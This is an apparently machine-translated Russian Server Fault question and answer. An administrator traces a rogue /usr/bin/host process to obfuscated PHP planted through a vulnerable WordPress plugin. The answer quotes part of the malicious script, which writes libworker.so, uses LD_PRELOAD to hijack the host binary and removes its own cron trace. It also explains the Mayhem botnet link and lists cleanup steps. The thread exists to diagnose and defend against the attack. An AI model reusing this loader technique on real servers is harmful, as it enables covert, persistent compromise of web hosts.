/ usr / bin / host выполняется взломанным PHP-скриптом

8

Сегодня я заметил необычно высокую частоту запросов к веб-серверу Apache, а также довольно высокий входящий сетевой трафик. Проверив страницу mod_status в Apache, я обнаружил, что URL-адреса нарушителей были по пути www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. И действительно, я нашел там несколько взломанных (запутанных) PHP-скриптов.

Также заметил странный процесс, выполняемый пользователем www-data:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

Проверка /proc/7300/cmdlineпоказала, что это действительно оригинальный /usr/bin/hostдвоичный файл. netstat -anpпоказал, что было открыто много HTTP-соединений, так что каким-то образом этот двоичный файл используется неправильно. debsumsподтвердил двоичную контрольную сумму, чтобы быть в порядке. Поскольку процесс запускался под пользователем www-data, у меня не было причин полагать, что сам сервер был взломан.

Как это бинарное злоупотребление?

РЕДАКТИРОВАТЬ: Это не широкий вопрос "как бороться с взломанным сервером". Скорее вопрос (и уже ответ) об одном конкретном типе злоупотребления, как это технически делается, поскольку этот конкретный случай весьма креативен в том, как это работает. Кажется, что это в дикой природе в течение нескольких лет (старые темы и вопросы 2012 года), и я столкнулся с этим на этой неделе.

Marki555
источник
Поскольку связанный вопрос закрыт, я открыл новый и поставил свои выводы в ответ. serverfault.com/questions/554801/…
Marki555
Возможный дубликат Как мне работать с скомпрометированным сервером?
Опека - Восстановите Монику

Ответы:

10

После копания в исходных кодах оскорбленных PHP-скриптов и поиска в Google ( этот поток ) я нашел объяснение.

Это часть system.phpкода, который я нашел:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Как /usr/bin/hostэто происходит, немного сложнее. Программы используют библиотеки ( .soфайлы) для некоторых своих функций. Пользователи могут предварительно связать ( LD_PRELOAD) некоторые файлы .so перед запуском допустимого двоичного файла, чтобы изменить его работу.

Как вы можете видеть, этот скрипт создает файл libworker.soи использует LD_PRELOADпеременную окружения для его предварительной загрузки, поэтому допустимый hostдвоичный файл делает что-то совершенно другое.

Он создает 1.shскрипт оболочки и пытается выполнить его несколькими способами (напрямую, используя atкоманду, используя cron). Сразу после этого он удаляет скрипт и файл библиотеки с диска, поэтому он остается незамеченным.

В первую очередь произошло то, что какой-то уязвимый плагин Wordpress подвергся насилию, и злоумышленник смог поместить свои файлы в каталоги, доступные для записи.

Смягчение означает анализ старых файлов журналов доступа для этого домена и поиск любых POSTзапросов в необычных местах - например, прямой доступ к PHP-файлам плагина WP / Joomla необычен. Затем удалите все найденные обфусцированные PHP-файлы, исправьте права доступа к каталогам, завершите запущенные hostпроцессы и просмотрите файлы журналов на предмет любых попыток повторного взлома.

РЕДАКТИРОВАТЬ: я получил информацию от ESET, что они уже обнаруживают эту конкретную библиотеку, а также другие версии. Антивирусные компании называют его Roopre, и кажется, что он используется как часть бот- сети Mayhem .

Углубленный анализ бот-сети Mayhem.

Углубленный анализ этого подвига.

Marki555
источник